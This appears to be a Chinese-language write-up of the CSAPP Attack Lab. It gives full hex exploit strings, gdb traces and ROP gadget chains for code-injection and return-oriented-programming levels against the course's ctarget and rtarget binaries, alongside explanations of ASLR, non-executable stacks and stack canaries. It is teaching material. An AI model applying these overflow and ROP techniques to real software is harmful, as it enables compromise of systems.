You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
(gdb) x /6x $rsp
0x5561dc78: 0x0000000000068310 0x00000000000000f4
0x5561dc88: 0x000000005561dcc0 0x0000000000000000
0x5561dc98: 0x0000000055586000 0x0000000000401976
(gdb) info symbol 0x0000000000401976
test + 14 in section .text of /home/xiaoju/target1/ctarget
voidtouch2(unsignedval){
vlevel=2; /* Part of validation protocol */if (val==cookie) {
printf("Touch2!: You called touch2(0x%.8x)\n", val);
validate(2);
} else {
printf("Misfire: You called touch2(0x%.8x)\n", val);
fail(2);
}
exit(0);
}
48 c7 c7 fa 97 b9 59 68 ec 17 40 00 c3 AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA 78 dc 61 55 00 00 00 00
使用实验提供的工具hex2raw进行编码:
./hex2raw < exploit2.txt > exploit2.raw
验证结果:
$./ctarget -q < exploit2.raw
Cookie: 0x59b997fa
Type string:Touch2!: You called touch2(0x59b997fa)
Valid solution for level 2 with target ctarget
PASS: Would have posted the following:
user id bovik
course 15213-f15
lab attacklab
result 1:PASS:0xffffffff:ctarget:2:48 C7 C7 FA 97 B9 59 68 EC 17 40 00 C3 AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA 78 DC 61 55 00 00 00 00
成功。
使用gdb验证一下:
(gdb) x/6xg $rsp
0x5561dc78: 0x6859b997fac7c748 0xaaaaaac3004017ec
0x5561dc88: 0xaaaaaaaaaaaaaaaa 0xaaaaaaaaaaaaaaaa
0x5561dc98: 0xaaaaaaaaaaaaaaaa 0x000000005561dc78 -------> 覆盖成功
(gdb) ni
0x00000000004017b9 in getbuf ()
=> 0x00000000004017b9 <getbuf+17>: 48 83 c4 28 add $0x28,%rsp
(gdb) ni
0x00000000004017bd in getbuf ()
=> 0x00000000004017bd <getbuf+21>: c3 retq
(gdb) ni
0x000000005561dc78 in ?? ()
=> 0x000000005561dc78: 48 c7 c7 fa 97 b9 59 mov $0x59b997fa,%rdi ------>开始执行exploit string
(gdb) ni
0x000000005561dc7f in ?? ()
=> 0x000000005561dc7f: 68 ec 17 40 00 pushq $0x4017ec
(gdb) ni
0x000000005561dc84 in ?? ()
=> 0x000000005561dc84: c3 retq
(gdb) ni
0x00000000004017ec in touch2 () --------> 执行touch2
=> 0x00000000004017ec <touch2+0>: 48 83 ec 08 sub $0x8,%rsp
(gdb) info register $rdi
rdi 0x59b997fa 1505335290 -----------> rdi寄存器值正确,为cookie值
Level 3
试验目的
在ctarget中,有hexmatch和touch3函数:
/* Compare string to hex represention of unsigned value */inthexmatch(unsignedval, char*sval){
charcbuf[110];
/* Make position of check string unpredictable */char*s=cbuf+random() % 100;
sprintf(s, "%.8x", val);
returnstrncmp(sval, s, 9) ==0;
}
voidtouch3(char*sval){
vlevel=3; /* Part of validation protocol */if (hexmatch(cookie, sval)) {
printf("Touch3!: You called touch3(\"%s\")\n", sval);
validate(3);
} else {
printf("Misfire: You called touch3(\"%s\")\n", sval);
fail(3);
}
exit(0);
}
48 c7 c7 a8 dc 61 55 68 fa 18 40 00 c3 AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA 78 dc 61 55 00 00 00 00 35 39 62 39 39 37 66 61 00
$cat exploit3.txt | ./hex2raw | ./ctarget -q
Cookie: 0x59b997fa
Type string:Touch3!: You called touch3("59b997fa")
Valid solution for level 3 with target ctarget
PASS: Would have posted the following:
user id bovik
course 15213-f15
lab attacklab
result 1:PASS:0xffffffff:ctarget:3:48 C7 C7 A8 DC 61 55 68 FA 18 40 00 C3 AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA 78 DC 61 55 00 00 00 00 35 39 62 39 39 37 66 61 00
0
Disable ASLR. This setting is applied if the kernel is booted with the norandmaps boot parameter.
1
Randomize the positions of the stack, virtual dynamic shared object (VDSO) page, and shared memory regions. The base address of the data segment is located immediately after the end of the executable code segment.
2
Randomize the positions of the stack, VDSO page, shared memory regions, and the data segment. This is the default setting.
AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA //40随机字节
ab 19 40 00 00 00 00 00 //gadget popq %rax
fa 97 b9 59 00 00 00 00 //cookie,用于pop到%rax上
c5 19 40 00 00 00 00 00 //gadget movq %rax,%rdi
ec 17 40 00 00 00 00 00 //touch2地址
验证:
cat exploit4.txt | ./hex2raw | ./rtarget -q
Cookie: 0x59b997fa
Type string:Touch2!: You called touch2(0x59b997fa)
Valid solution for level 2 with target rtarget
PASS: Would have posted the following:
user id bovik
course 15213-f15
lab attacklab
result 1:PASS:0xffffffff:rtarget:2:AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AB 19 40 00 00 00 00 00 FA 97 B9 59 00 00 00 00 C5 19 40 00 00 00 00 00 EC 17 40 00 00 00 00 00
成功。
用gdb验证一下:
0x00000000004017b9 in getbuf ()
=> 0x00000000004017b9 <getbuf+17>: 48 83 c4 28 add $0x28,%rsp
(gdb) ni
0x00000000004017bd in getbuf ()
=> 0x00000000004017bd <getbuf+21>: c3 retq
(gdb) ni
0x00000000004019ab in addval_219 () ------> gadget
=> 0x00000000004019ab <addval_219+4>: 58 pop %rax
(gdb) ni
0x00000000004019ac in addval_219 ()
=> 0x00000000004019ac <addval_219+5>: 90 nop
(gdb) ni
0x00000000004019ad in addval_219 ()
=> 0x00000000004019ad <addval_219+6>: c3 retq
(gdb) ni
0x00000000004019c5 in setval_426 () ------> gadget
=> 0x00000000004019c5 <setval_426+2>: 48 89 c7 mov %rax,%rdi
(gdb) ni
0x00000000004019c8 in setval_426 ()
=> 0x00000000004019c8 <setval_426+5>: 90 nop
(gdb) ni
0x00000000004019c9 in setval_426 ()
=> 0x00000000004019c9 <setval_426+6>: c3 retq
(gdb) ni
0x00000000004017ec in touch2 () -------> touch2
=> 0x00000000004017ec <touch2+0>: 48 83 ec 08 sub $0x8,%rsp
Level 5
试验目的
达到level3的效果
solution
这个跟上一个比,是换汤不换药,就是更复杂了一点。直接说下我的做法:
AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA
06 1a 40 00 00 00 00 00 /* movq %rsp,%rax */
a2 19 40 00 00 00 00 00 /* movq %rax,%rdi */
ab 19 40 00 00 00 00 00 /* popq %rax */
48 00 00 00 00 00 00 00 /* cookie offset */
dd 19 40 00 00 00 00 00 /* movl %eax,%edx */
69 1a 40 00 00 00 00 00 /* movl %edx,%ecx */
13 1a 40 00 00 00 00 00 /* movl %ecx,%esi */
d6 19 40 00 00 00 00 00 /* lea (%rdi,%rsi,1),%rax */
a2 19 40 00 00 00 00 00 /* movq %rax,%rdi */
fa 18 40 00 00 00 00 00 /* touch3 address */
35 39 62 39 39 37 66 61 /* cookie */
00 00 00 00 00 00 00 00
欢迎大家关注我的知乎账号:https://www.zhihu.com/people/zhangyachen
朋友们可以关注下我的公众号,获得最及时的更新:
缓冲区溢出试验是CSAPP课后试验之一,目的是:
我们可以使用代码注入(code-injection)和返回导向编程(return-oriented-programming)两种攻击手段分别攻击试验提供的ctarget和rtarget程序。
ctarget和rtarget会使用getbuf函数从标准输入中读取用户输入:
Gets函数和标准库gets函数很相似,这里会从标准输入读取输入并将输入的字符串存储到buf里。而且Gets函数无法判断BUFFER_SIZE是否足够大,所以我们利用这一点进行缓冲区溢出攻击。
Part I : Code Injection Attacks
Level 1
试验目的
在这个阶段,我们不会注入新的代码,而是利用我们输入的exploit string诱使程序执行一段已有的程序。
上面提到过的getbuf函数会被test函数调用:
正常情况下,执行完getbuf函数后,程序会接着执行下面的printf函数。但是我们想改变这一正常的行为,当执行完getbuf函数后,执行下面的touch1函数,而不是回到调用的地方执行printf函数:
solution
既然要改变函数返回地址,思路就是利用我们的exploit string覆盖栈上的返回地址。
查看getbuf函数:
查看执行完
sub $0x28,%rsp
指令的栈空间:可以看出
0x0000000000401976
为test函数调用getbuf的下一条指令的地址,我们只需要恰当的构造输入,把0x0000000000401976
替换成touch1的地址即可。touch1的地址是0x00000000004017c0
。所以输入字符串的结构就是40个随机字节 + 0x00000000004017c0(注意小端字节序的问题):使用实验提供的工具hex2raw进行编码:
验证结果:
成功。
使用gdb验证一下:
Level 2
试验目的
第二阶段我们会在exploit string中包含一小部分代码段来完成我们的攻击。
在ctarget中包含touch2函数:
我们的目的是保证执行getbuf函数后执行touch2函数而不是返回到test函数,并保证touch2的参数val == cookie.
solution
与上面一样,我们需要覆盖栈上正常的返回地址。区别是:执行完getbuf后需要跳到我们自己写的一小段代码(exploit string的一部分),将cookie的值放到寄存器上,最后跳到touch2函数。
以下是上面提到的代码段:
解释:
将地址push到栈上。
使用gcc和objdump将上述汇编指令转换为16进制:
可得16进制为48 c7 c7 fa 97 b9 59 68 ec 17 40 00 c3
接下来需要确定的事情是,这段代码放在哪里?我们选择放到getbuf函数里buf变量的起始地址:
所以我们的exploit string就确定下来了,13字节的指令 + 27个随机字节 + buf变量地址:
使用实验提供的工具hex2raw进行编码:
验证结果:
成功。
使用gdb验证一下:
Level 3
试验目的
在ctarget中,有hexmatch和touch3函数:
我们的目的是在执行完getbuf函数后跳到touch3并使得
hexmatch(cookie, sval)
判断为真。solution
这个和level2很像,区别是需要将字符串的地址当做参数传递给touch3。问题是这个字符串放在哪里?
如果放到getbuf栈帧里,我们可以观察到,在hexmatch内存在大量的push栈操作,并且hexmatch内的s变量地址是随机的,很可能会覆盖我们注入的字符串:
所以最保险的方式是将字符串放到getbuf的父栈帧中,即test栈帧里。
与level2一样,我们需要编写一小段代码,首先跳到这段代码,将刚才cookie的地址赋给%rdi,即touch3的参数,再跳到touch3。这段代码同样放到buf变量地址即可:
这个和level2差不多,不细说了。我们将这段汇编转成十六进制即可。
所以我们的exploit string的构成就是:汇编代码 + 随机字节 + buf变量地址 + cookie字符串。
成功。
这里就不用gdb验证了,和上面差不多
防御代码注入
栈随机化
可以看到在level2和level3的攻击中,我们不仅插入了攻击代码,在插入了指向这段攻击代码的指针。而这个前提就是——我们知道攻击代码放在哪里,因为buf的地址在每次程序运行时是确定的。
栈随机化就是栈的位置在每次程序运行时都有变化。实现方式是:在程序开始时,在栈上分配一段0-n的随机大小字节空间,程序不使用这段空间,n必须足够大来保证地址的随机变化性,但是又要足够小,保证不浪费过多的空间。
在32位linux上,地址变化的范围大小大概在2^23,在64位linux上,大概在2^32。
关闭ASLR看看:
明显看出变量的地址每次都是一样的,说明栈空间的起始地址是固定的。
在Linux系统中,栈随机化已经变成了一种标准化的行为。它是更大的一类技术中的一种,成为地址空间布局随机化(Address-Space Layout Randomization),简称ASLR.每次运行时,程序的不同部分都会被加载到不同的区域:
但是有一种简单的方法可以攻破栈随机化:nop sled(nop slide),即在攻击代码之前插入一段nop,只要攻击者能够猜中序列中的某个地址,程序就会“滑”到攻击代码处完成攻击。
举个例子:我们经过很多次试验,发现栈空间地址范围在2^13个地址范围内,我们尝试128个字节的nop sled的缓冲区溢出,要穷尽所有的起始地址,我们只需要2^(13 - 7)=64次尝试即可。
所以,ASLR能增加系统攻击难度,但是不能完全提供安全保障。
限制可执行代码区域
在level2和level3中,我们都在栈上插入了代码去执行。所以,一种可行的防止缓冲区溢出的方法是限制哪些内存区域能够存放可执行代码。
许多系统对操作系统虚拟内存的页提供3种访问控制形式:读(从内存读数据)、写(向内存写数据)、可执行(将内存的内容看做机器的代码段)。在之前的x86体系中,读和可执行被合并成了1个,意味着页可读必定就是可执行。对于栈来说,必定是可读可写,同时也意味着可执行。
AMD为它的64位处理器的内存提供了不执行位,由硬件检测,效率没有损失。
栈破坏检测
在上面的所有试验中,我们均覆盖了正常的返回地址并改成了我们想要的地址。如果我们可以检测出返回地址发生变化的话,就基本可以判断出发生了缓冲区溢出攻击。
最新版本的gcc在产生的代码中加入了栈保护者机制(stack protector),来检测缓冲区越界。思想是在栈帧中任何局部缓冲区与栈状态之间存储一个特殊的金丝雀(canary)值。
金丝雀值是每次运行时随机产生的,在恢复寄存器和从函数返回之前,程序会检查金丝雀的值是否被改变,如果改变的话,程序则异常终止。
在我的机器上,gcc默认关闭栈破坏检测功能,我们手动打开:
而且在有保护模式的代码中,字符数组是最靠近栈底的,而在非保护模式中,一般是按照声明顺序来的。这样可以防止攻击字符串只覆盖函数内的其他变量而不改变返回地址。
但是,不是所有的版本的gcc都支持栈破坏检测,并且比较关键的一点是:ASLR并不会随机化Text segment。聪明的人们(为什么聪明的人总是不包括我)设计出了一种从已有代码段中提取有用代码片段去执行而不是插入新代码的方法,这种方法叫做ROP(Return-oriented programming)返回导向编程。
ROP介绍
ROP是一种高级的内存攻击技术可以用来绕过现代操作系统的各种通用防御(比如内存不可执行)。业界大牛已经过充分研究并证明ROP方法是图灵完备的,换句话说, ROP可以借用libc的指令实现任何逻辑功能。
ROP的攻击方法是借用代码段里面的多个retq前的一段指令拼凑成一段有效的逻辑,从而达到攻击的目标。这段指令一般称之为gadget,即gadget + retq。我们可以利用多个reqt跳到不同的gadget来实现我们完整的攻击流。
c3是retq的十六进制表示。
举个例子:
汇编表示我们会发现有用的gadget:
48 89 c7代表着
movq %rax, %rdi
,并且后面跟着retq。所以这段代码的gadget从0x400f18开始,会从%rax寄存器拷贝一个64字节的数据到%rdi寄存器。在试验中提供了rtarget文件,包含了若干了gadget。我们的目的就是利用这若干个gadget去完成我们的攻击。值得注意的是,gadget在函数start_farm和end_farm之间。
有用的指令序列如下:
Part II : ROP
Level4
试验目的
在这一步中,我们重复level2的攻击,但是需要在rtarget中利用rop完成攻击,并且只能使用两个gadget.
solution
注意到gadget包括popq指令,所以我们可以把cookie值放到栈中,利用popq弹出到一个寄存器内,之后movq到%rdi寄存器即可。至于是直接popq到%rdi寄存器还是采用刚才说的顺序,取决于已有代码段中有没有合适的gadget.(答案是没有..)
经过观察已有gadget,我们发现可以把值pop到%rax寄存器中:
所以我们的exploit string是:
验证:
成功。
用gdb验证一下:
Level 5
试验目的
达到level3的效果
solution
这个跟上一个比,是换汤不换药,就是更复杂了一点。直接说下我的做法:
重点就是利用lea指令将cookie的地址放到%rdi寄存器上。
ROP可以为所欲为
引用使用ROP攻击技术中的一段:
防御ROP
在Return-into-libc 攻击及其防御中提到了ROP的防御方式,这里不再赘述。
在英特尔尝试在CPU级别干掉缓冲区溢出中提到:
缓冲区溢出是一个很长久的话题,衍生出了很多种攻击手段和防御手段,更多可以参考下面的参考资料。
参考资料:
The text was updated successfully, but these errors were encountered: